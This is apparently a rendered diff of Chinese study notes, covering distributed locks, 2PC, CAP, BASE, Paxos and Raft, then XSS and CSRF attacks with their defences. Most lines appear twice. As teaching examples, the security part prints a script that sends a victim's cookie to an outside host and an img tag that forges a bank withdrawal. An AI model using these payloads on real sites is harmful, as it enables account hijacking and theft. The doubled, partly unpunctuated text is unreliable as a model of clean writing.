SETNX 指令和数据库的唯一索引类似保证了只存在一个 Key 的键值对那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
SETNX 指令和数据库的唯一索引类似,保证了只存在一个 Key 的键值对,那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
EXPIRE 指令可以为一个键值对设置一个过期时间从而避免了数据库唯一索引实现方式中释放锁失败的问题。
EXPIRE 指令可以为一个键值对设置一个过期时间,从而避免了数据库唯一索引实现方式中释放锁失败的问题。
## Redis  RedLock 算法
## Redis 的 RedLock 算法
使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时仍然可用。
使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时仍然可用。
- 尝试从 N 个相互独立 Redis 实例获取锁;
- 计算获取锁消耗的时间只有当这个时间小于锁的过期时间并且从大多数N / 2 + 1实例上获取了锁那么就认为锁获取成功了
- 如果锁获取失败,就到每个实例上释放锁。
- 尝试从 N 个相互独立 Redis 实例获取锁;
- 计算获取锁消耗的时间只有当这个时间小于锁的过期时间并且从大多数N / 2 + 1实例上获取了锁那么就认为锁获取成功了
- 如果锁获取失败,就到每个实例上释放锁。
## Zookeeper 的有序节点
## Zookeeper 的有序节点
### 1. Zookeeper 抽象模型
### 1. Zookeeper 抽象模型
Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点的父节点为 /app1。
Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点的父节点为 /app1。
<img src="index_files/31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/>
<div align="center"> <img src="pics/31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
### 2. 节点类型
### 2. 节点类型
- 永久节点:不会因为会话结束或者超时而消失;
- 临时节点:如果会话结束或者超时就会消失;
- 有序节点:会在节点名的后面加一个数字后缀,并且是有序的,例如生成的有序节点为 /lock/node-0000000000它的下一个有序节点则为 /lock/node-0000000001以此类推。
- 永久节点:不会因为会话结束或者超时而消失;
- 临时节点:如果会话结束或者超时就会消失;
- 有序节点:会在节点名的后面加一个数字后缀,并且是有序的,例如生成的有序节点为 /lock/node-0000000000它的下一个有序节点则为 /lock/node-0000000001以此类推。
### 3. 监听器
### 3. 监听器
为一个节点注册监听器,在节点状态发生改变时,会给客户端发送消息。
### 4. 分布式锁实现
### 4. 分布式锁实现
- 创建一个锁目录 /lock
- 当一个客户端需要获取锁时,在 /lock 下创建临时的且有序的子节点;
-  客户端获取 /lock 下的子节点列表,判断自己创建的子节点是否为当前子节点列表中序号最小的子节点,如果是则认为获得锁;否则监听自己的前一个子节点,获得子节点的变更通知后重复此步骤直至获得锁;
- 执行业务代码,完成后,删除对应的子节点。
- 创建一个锁目录 /lock
- 当一个客户端需要获取锁时,在 /lock 下创建临时的且有序的子节点;
- 客户端获取 /lock 下的子节点列表,判断自己创建的子节点是否为当前子节点列表中序号最小的子节点,如果是则认为获得锁;否则监听自己的前一个子节点,获得子节点的变更通知后重复此步骤直至获得锁;
- 执行业务代码,完成后,删除对应的子节点。
### 5. 会话超时
### 5. 会话超时
如果一个已经获得锁的会话超时了因为创建的是临时节点所以该会话对应的临时节点会被删除其它会话就可以获得锁了。可以看到Zookeeper 分布式锁不会出现数据库的唯一索引实现的分布式锁释放锁失败问题。
如果一个已经获得锁的会话超时了因为创建的是临时节点所以该会话对应的临时节点会被删除其它会话就可以获得锁了。可以看到Zookeeper 分布式锁不会出现数据库的唯一索引实现的分布式锁释放锁失败问题。
### 6. 羊群效应
### 6. 羊群效应
一个节点未获得锁,只需要监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应),而我们只希望它的后一个子节点收到通知。
# 二、分布式事务
# 二、分布式事务
指事务的操作位于不同的节点上,需要保证事务的 ACID 特性。
指事务的操作位于不同的节点上,需要保证事务的 ACID 特性。
例如在下单场景下,库存和订单如果不在同一个节点上,就涉及分布式事务。
## 本地消息表
## 本地消息表
本地消息表与业务数据表处于同一个数据库中,这样就能利用本地事务来保证在对这两个表的操作满足事务特性,并且使用了消息队列来保证最终一致性。
1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息,本地事务能保证这个消息一定会被写入本地消息表中。
2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中,如果转发成功则将消息从本地消息表中删除,否则继续重新转发。
3. 在分布式事务操作的另一方从消息队列中读取一个消息,并执行消息中的操作。
1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息,本地事务能保证这个消息一定会被写入本地消息表中。
2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中,如果转发成功则将消息从本地消息表中删除,否则继续重新转发。
3. 在分布式事务操作的另一方从消息队列中读取一个消息,并执行消息中的操作。
![](index_files/e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg)
<div align="center"> <img src="pics/e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
## 2PC
## 2PC
两阶段提交Two-phase Commit2PC通过引入协调者Coordinator来协调参与者的行为并最终决定这些参与者是否要真正执行事务。
两阶段提交Two-phase Commit2PC通过引入协调者Coordinator来协调参与者的行为并最终决定这些参与者是否要真正执行事务。
### 1. 运行过程
### 1. 运行过程
#### 1.1 准备阶段
#### 1.1 准备阶段
协调者询问参与者事务是否执行成功,参与者发回事务执行结果。
![](index_files/04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg)
<div align="center"> <img src="pics/04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg"/> </div><br>
#### 1.2 提交阶段
#### 1.2 提交阶段
如果事务在每个参与者上都执行成功,事务协调者发送通知让参与者提交事务;否则,协调者发送通知让参与者回滚事务。
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
![](index_files/2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg)
<div align="center"> <img src="pics/2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg"/> </div><br>
### 2. 存在的问题
### 2. 存在的问题
#### 2.1 同步阻塞
#### 2.1 同步阻塞
所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态,无法进行其它操作。
#### 2.2 单点问题
#### 2.2 单点问题
协调者在 2PC 中起到非常大的作用,发生故障将会造成很大影响。特别是在阶段二发生故障,所有参与者会一直等待,无法完成其它操作。
协调者在 2PC 中起到非常大的作用,发生故障将会造成很大影响。特别是在阶段二发生故障,所有参与者会一直等待,无法完成其它操作。
#### 2.3 数据不一致
#### 2.3 数据不一致
在阶段二,如果协调者只发送了部分 Commit 消息此时网络发生异常那么只有部分参与者接收到 Commit 消息,也就是说只有部分参与者提交了事务,使得系统数据不一致。
在阶段二,如果协调者只发送了部分 Commit 消息,此时网络发生异常,那么只有部分参与者接收到 Commit 消息,也就是说只有部分参与者提交了事务,使得系统数据不一致。
#### 2.4 太过保守
#### 2.4 太过保守
任意一个节点失败就会导致整个事务失败,没有完善的容错机制。
# 三、CAP
# 三、CAP
分布式系统不可能同时满足一致性CConsistency、可用性AAvailability和分区容忍性PPartition Tolerance最多只能同时满足其中两项。
分布式系统不可能同时满足一致性CConsistency、可用性AAvailability和分区容忍性PPartition Tolerance最多只能同时满足其中两项。
![](index_files/f1109d04-3c67-48a3-9963-2c475f94e175.jpg)
<div align="center"> <img src="pics/f1109d04-3c67-48a3-9963-2c475f94e175.jpg"/> </div><br>
## 一致性
## 一致性
一致性指的是多个数据副本是否能保持一致的特性,在一致性的条件下,系统在执行数据更新操作之后能够从一致性状态转移到另一个一致性状态。
对系统的一个数据更新成功之后,如果所有用户都能够读取到最新的值,该系统就被认为具有强一致性。
## 可用性
## 可用性
可用性指分布式系统在面对各种异常时可以提供正常服务的能力可以用系统可用时间占总时间的比值来衡量4  9 的可用性表示系统 99.99% 的时间是可用的。
可用性指分布式系统在面对各种异常时可以提供正常服务的能力可以用系统可用时间占总时间的比值来衡量4 个 9 的可用性表示系统 99.99% 的时间是可用的。
在可用性条件下,要求系统提供的服务一直处于可用的状态,对于用户的每一个操作请求总是能够在有限的时间内返回结果。
## 分区容忍性
## 分区容忍性
网络分区指分布式系统中的节点被划分为多个区域,每个区域内部可以通信,但是区域之间无法通信。
在分区容忍性条件下,分布式系统在遇到任何网络分区故障的时候,仍然需要能对外提供一致性和可用性的服务,除非是整个网络环境都发生了故障。
## 权衡
## 权衡
在分布式系统中分区容忍性必不可少因为需要总是假设网络是不可靠的。因此CAP 理论实际上是要在可用性和一致性之间做权衡。
在分布式系统中分区容忍性必不可少因为需要总是假设网络是不可靠的。因此CAP 理论实际上是要在可用性和一致性之间做权衡。
可用性和一致性往往是冲突的,很难使它们同时满足。在多个节点之间进行数据同步时,
- 为了保证一致性CP不能访问未同步完成的节点也就失去了部分可用性
- 为了保证可用性AP允许读取所有节点的数据但是数据可能不一致。
- 为了保证一致性CP不能访问未同步完成的节点也就失去了部分可用性
- 为了保证可用性AP允许读取所有节点的数据但是数据可能不一致。
![](index_files/0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg)
<div align="center"> <img src="pics/0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg"/> </div><br>
# 四、BASE
# 四、BASE
BASE 是基本可用Basically Available、软状态Soft State和最终一致性Eventually Consistent三个短语的缩写。
BASE 是基本可用Basically Available、软状态Soft State和最终一致性Eventually Consistent三个短语的缩写。
BASE 理论是对 CAP 中一致性和可用性权衡的结果,它的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
BASE 理论是对 CAP 中一致性和可用性权衡的结果,它的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
![](index_files/bc603930-d74d-4499-a3e7-2d740fc07f33.png)
<div align="center"> <img src="pics/bc603930-d74d-4499-a3e7-2d740fc07f33.png"/> </div><br>
## 基本可用
## 基本可用
指分布式系统在出现故障的时候,保证核心可用,允许损失部分可用性。
例如,电商在做促销时,为了保证购物系统的稳定性,部分消费者可能会被引导到一个降级的页面。
## 软状态
## 软状态
指允许系统中的数据存在中间状态,并认为该中间状态不会影响系统整体可用性,即允许系统不同节点的数据副本之间进行同步的过程存在时延。
## 最终一致性
## 最终一致性
最终一致性强调的是系统中所有的数据副本,在经过一段时间的同步后,最终能达到一致的状态。
ACID 要求强一致性通常运用在传统的数据库系统上。而 BASE 要求最终一致性,通过牺牲强一致性来达到可用性,通常运用在大型分布式系统中。
ACID 要求强一致性,通常运用在传统的数据库系统上。而 BASE 要求最终一致性,通过牺牲强一致性来达到可用性,通常运用在大型分布式系统中。
在实际的分布式场景中,不同业务单元和组件对一致性的要求是不同的,因此 ACID  BASE 往往会结合在一起使用。
在实际的分布式场景中,不同业务单元和组件对一致性的要求是不同的,因此 ACID 和 BASE 往往会结合在一起使用。
# 五、Paxos
# 五、Paxos
用于达成共识性问题,即对多个节点产生的值,该算法能保证只选出唯一一个值。
主要有三类节点:
- 提议者Proposer提议一个值
- 接受者Acceptor对每个提议进行投票
- 告知者Learner被告知投票的结果不参与投票过程。
- 提议者Proposer提议一个值
- 接受者Acceptor对每个提议进行投票
- 告知者Learner被告知投票的结果不参与投票过程。
![](index_files/b988877c-0f0a-4593-916d-de2081320628.jpg)
<div align="center"> <img src="pics/b988877c-0f0a-4593-916d-de2081320628.jpg"/> </div><br>
## 执行过程
## 执行过程
规定一个提议包含两个字段:[n, v]其中 n 为序号具有唯一性v 为提议值。
规定一个提议包含两个字段:[n, v],其中 n 为序号具有唯一性v 为提议值。
### 1. Prepare 阶段
### 1. Prepare 阶段
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程每个 Proposer 都会向所有 Acceptor 发送 Prepare 请求。
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送 Prepare 请求。
![](index_files/1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png)
<div align="center"> <img src="pics/1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png"/> </div><br>
 Acceptor 接收到一个 Prepare 请求包含的提议为 [n1, v1]并且之前还未接收过 Prepare 请求那么发送一个 Prepare 响应设置当前接收到的提议为 [n1, v1]并且保证以后不会再接受序号小于 n1 的提议。
Acceptor 接收到一个 Prepare 请求,包含的提议为 [n1, v1],并且之前还未接收过 Prepare 请求,那么发送一个 Prepare 响应,设置当前接收到的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。
如下图Acceptor X 在收到 [n=2, v=8]  Prepare 请求时由于之前没有接收过提议因此就发送一个 [no previous]  Prepare 响应设置当前接收到的提议为 [n=2, v=8]并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
如下图Acceptor X 在收到 [n=2, v=8] 的 Prepare 请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的 Prepare 响应,设置当前接收到的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
![](index_files/fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg)
<div align="center"> <img src="pics/fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg"/> </div><br>
如果 Acceptor 接收到一个 Prepare 请求包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送 Prepare 响应 Prepare 响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2]并且保证以后不会再接受序号小于 n2 的提议。
如果 Acceptor 接收到一个 Prepare 请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送 Prepare 响应,该 Prepare 响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
如下图Acceptor Z 收到 Proposer A 发来的 [n=2, v=8]  Prepare 请求由于之前已经接收过 [n=4, v=5] 的提议并且 n > 2因此就抛弃该提议请求Acceptor X 收到 Proposer B 发来的 [n=4, v=5]  Prepare 请求因为之前接收到的提议为 [n=2, v=8]并且 2 <= 4因此就发送 [n=2, v=8]  Prepare 响应设置当前接收到的提议为 [n=4, v=5]并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
如下图Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的 Prepare 请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2因此就抛弃该提议请求Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的 Prepare 请求,因为之前接收到的提议为 [n=2, v=8],并且 2 <= 4因此就发送 [n=2, v=8] 的 Prepare 响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
![](index_files/2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg)
<div align="center"> <img src="pics/2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg"/> </div><br>
### 2. Accept 阶段
### 2. Accept 阶段
当一个 Proposer 接收到超过一半 Acceptor  Prepare 响应时就可以发送 Accept 请求。
当一个 Proposer 接收到超过一半 Acceptor 的 Prepare 响应时,就可以发送 Accept 请求。
Proposer A 接收到两个 Prepare 响应之后就发送 [n=2, v=8] Accept 请求。该 Accept 请求会被所有 Acceptor 丢弃因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
Proposer A 接收到两个 Prepare 响应之后,就发送 [n=2, v=8] Accept 请求。该 Accept 请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
Proposer B 过后也收到了两个 Prepare 响应因此也开始发送 Accept 请求。需要注意的是Accept 请求的 v 需要取它收到的最大提议编号对应的 v 也就是 8。因此它发送 [n=4, v=8]  Accept 请求。
Proposer B 过后也收到了两个 Prepare 响应,因此也开始发送 Accept 请求。需要注意的是Accept 请求的 v 需要取它收到的最大提议编号对应的 v 值,也就是 8。因此它发送 [n=4, v=8] 的 Accept 请求。
![](index_files/9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png)
<div align="center"> <img src="pics/9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png"/> </div><br>
### 3. Learn 阶段
### 3. Learn 阶段
Acceptor 接收到 Accept 请求时如果序号大于等于该 Acceptor 承诺的最小序号那么就发送 Learn 提议给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议那么该提议的提议值就被 Paxos 选择出来。
Acceptor 接收到 Accept 请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送 Learn 提议给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
![](index_files/bf667594-bb4b-4634-bf9b-0596a45415ba.jpg)
<div align="center"> <img src="pics/bf667594-bb4b-4634-bf9b-0596a45415ba.jpg"/> </div><br>
## 约束条件
## 约束条件
### 1\. 正确性
### 1\. 正确性
指只有一个提议值会生效。
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
### 2\. 可终止性
### 2\. 可终止性
指最后总会有一个提议生效。
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
# 六、Raft
# 六、Raft
Raft 也是分布式一致性协议,主要是用来竞选主节点。
Raft 也是分布式一致性协议,主要是用来竞选主节点。
## 单个 Candidate 的竞选
## 单个 Candidate 的竞选
有三种节点Follower、Candidate  Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间一般为 150ms~300ms如果在这个时间内没有收到 Leader 的心跳包就会变成 Candidate进入竞选阶段。
有三种节点Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间,一般为 150ms\~300ms如果在这个时间内没有收到 Leader 的心跳包,就会变成 Candidate进入竞选阶段。
- 下图展示一个分布式系统的最初阶段此时只有 Follower 没有 Leader。Node A 等待一个随机的竞选超时时间之后没收到 Leader 发来的心跳包,因此进入竞选阶段。
- 下图展示一个分布式系统的最初阶段,此时只有 Follower 没有 Leader。Node A 等待一个随机的竞选超时时间之后,没收到 Leader 发来的心跳包,因此进入竞选阶段。
![](index_files/111521118015898.gif)
<div align="center"> <img src="pics/111521118015898.gif"/> </div><br>
- 此时 Node A 发送投票请求给其它所有节点。
- 此时 Node A 发送投票请求给其它所有节点。
![](index_files/111521118445538.gif)
<div align="center"> <img src="pics/111521118445538.gif"/> </div><br>
- 其它节点会对请求进行回复如果超过一半的节点回复了那么该 Candidate 就会变成 Leader。
- 其它节点会对请求进行回复,如果超过一半的节点回复了,那么该 Candidate 就会变成 Leader。
![](index_files/111521118483039.gif)
<div align="center"> <img src="pics/111521118483039.gif"/> </div><br>
- 之后 Leader 会周期性地发送心跳包给 FollowerFollower 接收到心跳包,会重新开始计时。
- 之后 Leader 会周期性地发送心跳包给 FollowerFollower 接收到心跳包,会重新开始计时。
![](index_files/111521118640738.gif)
<div align="center"> <img src="pics/111521118640738.gif"/> </div><br>
## 多个 Candidate 竞选
## 多个 Candidate 竞选
- 如果有多个 Follower 成为 Candidate并且所获得票数相同那么就需要重新开始投票。例如下图中 Node B  Node D 都获得两票,需要重新开始投票。
- 如果有多个 Follower 成为 Candidate并且所获得票数相同那么就需要重新开始投票。例如下图中 Node B 和 Node D 都获得两票,需要重新开始投票。
![](index_files/111521119203347.gif)
<div align="center"> <img src="pics/111521119203347.gif"/> </div><br>
- 由于每个节点设置的随机竞选超时时间不同因此下一次再次出现多个 Candidate 并获得同样票数的概率很低。
- 由于每个节点设置的随机竞选超时时间不同,因此下一次再次出现多个 Candidate 并获得同样票数的概率很低。
![](index_files/111521119368714.gif)
<div align="center"> <img src="pics/111521119368714.gif"/> </div><br>
## 数据同步
## 数据同步
- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交只是写入日志中。
- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交只是写入日志中。
![](index_files/7.gif)
<div align="center"> <img src="pics/7.gif"/> </div><br>
- Leader 会把修改复制到所有 Follower。
- Leader 会把修改复制到所有 Follower。
![](index_files/9.gif)
<div align="center"> <img src="pics/9.gif"/> </div><br>
- Leader 会等待大多数的 Follower 也进行了修改,然后才将修改提交。
- Leader 会等待大多数的 Follower 也进行了修改,然后才将修改提交。
![](index_files/10.gif)
<div align="center"> <img src="pics/10.gif"/> </div><br>
- 此时 Leader 会通知的所有 Follower 让它们也提交修改,此时所有节点的值达成一致。
- 此时 Leader 会通知的所有 Follower 让它们也提交修改,此时所有节点的值达成一致。
![](index_files/11.gif)
<div align="center"> <img src="pics/11.gif"/> </div><br>
# 参考
# 参考
- 倪超.  Paxos  ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
- [Distributed locks with Redis](https://redis.io/topics/distlock)
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
- [聊聊分布式事务,再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
- [Distributed locks with Redis](https://redis.io/topics/distlock)
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
- [聊聊分布式事务,再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
---bottom---CyC---
![](index_files/e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg)
![](index_files/31d99967-1171-448e-8531-bccf5c14cffe.jpg)
![](index_files/cookiedata.png)
![](index_files/MultiNode-StickySessions.jpg)
![](index_files/MultiNode-SessionReplication.jpg)
![](index_files/MultiNode-SpringSession.jpg)
![](index_files/2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg)
![](index_files/f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg)
![](index_files/211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg)
![](index_files/3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg)
![](index_files/1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg)
![](index_files/44edefb7-4b58-4519-b8ee-4aca01697b78.jpg)
![](index_files/0ee0f61b-c782-441e-bf34-665650198ae0.jpg)
![](index_files/2018040302.jpg)
![](index_files/10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png)
![](index_files/f8b16d1e-7363-4544-94d6-4939fdf849dc.png)
![](index_files/f0e35b7a-2948-488a-a5a9-97d3f6b5e2d7.png)
![](index_files/265a355d-aead-48aa-b455-f33b62fe729f.png)
![](index_files/52e1af6f-3a7a-4bee-aa8f-fcb5dacebe40.jpg)

File diff suppressed because it is too large Load Diff

View File

@ -1,92 +1,102 @@
# 一、跨站脚本攻击
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、跨站脚本攻击](#一跨站脚本攻击)
* [二、跨站请求伪造](#二跨站请求伪造)
* [三、SQL 注入攻击](#三sql-注入攻击)
* [四、拒绝服务攻击](#四拒绝服务攻击)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 概念
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML  JavaScript。
# 一、跨站脚本攻击
## 攻击原理
## 概念
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。
## 攻击原理
例如有一个论坛网站,攻击者可以在上面发布以下内容:
```html
<script>location.href="//domain.com/?c=" + document.cookie</script>
<script>location.href="//domain.com/?c=" + document.cookie</script>
```
之后该内容可能会被渲染成以下形式:
```html
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
## 危害
## 危害
- 窃取用户的 Cookie
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
- 窃取用户的 Cookie
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
## 防范手段
## 防范手段
### 1. 设置 Cookie  HttpOnly
### 1. 设置 Cookie 为 HttpOnly
设置了 HttpOnly  Cookie 可以防止 JavaScript 脚本调用就无法通过 document.cookie 获取用户 Cookie 信息。
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。
### 2. 过滤特殊字符
### 2. 过滤特殊字符
例如将 `<` 转义为 `&lt;`,将 `>` 转义为 `&gt;`从而避免 HTML  Jascript 代码的运行。
例如将 `<` 转义为 `&lt;`,将 `>` 转义为 `&gt;`,从而避免 HTML 和 Jascript 代码的运行。
富文本编辑器允许用户输入 HTML 代码就不能简单地将 `<` 等字符进行过滤了极大地提高了 XSS 攻击的可能性。
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 `<` 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击通过定义一些标签白名单或者黑名单从而不允许有攻击性的 HTML 代码的输入。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
以下例子中form  script 等标签都被转义 h  p 等标签将会保留。
以下例子中form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
```html
<h1 id="title">XSS Demo</h1>
<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
  <input type="text" name="q" value="test">
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
<script type="text/javascript">
alert(/xss/);
</script>
```
```html
<h1>XSS Demo</h1>
<h1>XSS Demo</h1>
<p>123</p>
&lt;form&gt;
  &lt;input type="text" name="q" value="test"&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;
<pre>hello</pre>
&lt;script type="text/javascript"&gt;
&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;
```
> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
# 二、跨站请求伪造
# 二、跨站请求伪造
## 概念
## 概念
跨站请求伪造Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。
跨站请求伪造Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户浏览器的信任。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户浏览器的信任。
## 攻击原理
## 攻击原理
假如一家银行用以执行转账操作的 URL 地址如下:
假如一家银行用以执行转账操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
@ -95,90 +105,90 @@ http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
```
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 美元。
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 美元。
